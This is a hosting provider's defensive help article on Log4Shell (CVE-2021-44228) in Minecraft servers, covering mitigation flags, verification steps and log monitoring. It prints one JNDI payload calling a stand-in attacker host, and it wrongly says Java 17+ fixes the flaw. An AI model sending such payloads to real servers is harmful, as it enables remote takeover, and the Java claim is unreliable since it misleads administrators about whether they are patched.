How to Protect Your Server from the Log4j Vulnerability

The Log4j vulnerability (Log4Shell, CVE-2021-44228) was a critical security flaw discovered in December 2021 that affected Minecraft servers. It allowed attackers to execute arbitrary code by sending a specially crafted chat message.

Am I Affected?

If you're running Minecraft 1.18.1 or newer, you're already safe. Mojang patched this in the official release.

Fixing the Vulnerability

-Dlog4j2.formatMsgNoLookups=true

-Dlog4j.configurationFile=log4j2_17-111.xml

How the Exploit Worked

An attacker could send a chat message like:

${jndi:ldap://attacker-server.com/exploit}

The Log4j library would process this string, connect to the attacker's server, download malicious code, and execute it — giving the attacker full control of the server machine.

Verifying the Fix

After applying the fix:

1. Check your server's Java version — Java 17+ includes the Log4j fix
2. Verify the JVM flag is active in Console startup output
3. Test with a Log4j scanner (search "Log4Shell scanner" for safe testing tools)

Additional Security Measures

• Keep your server software updated
• Use a firewall to restrict outbound connections from the server
• Monitor server logs for suspicious ${jndi: strings
• Use server logs to check for past exploitation attempts

⚠️ Warning: If your server was running an unpatched version during December 2021–early 2022 and was publicly accessible, it may have been compromised. Check for unfamiliar files, plugins, or scheduled tasks.

📝 Note: XGamingServer applied protective measures across all servers during the initial disclosure. If you're hosting with us, your server was protected. This guide is primarily for awareness and for anyone running custom server JARs.

See also: Find Server Logs | Server Types

If you need help, join our Discord.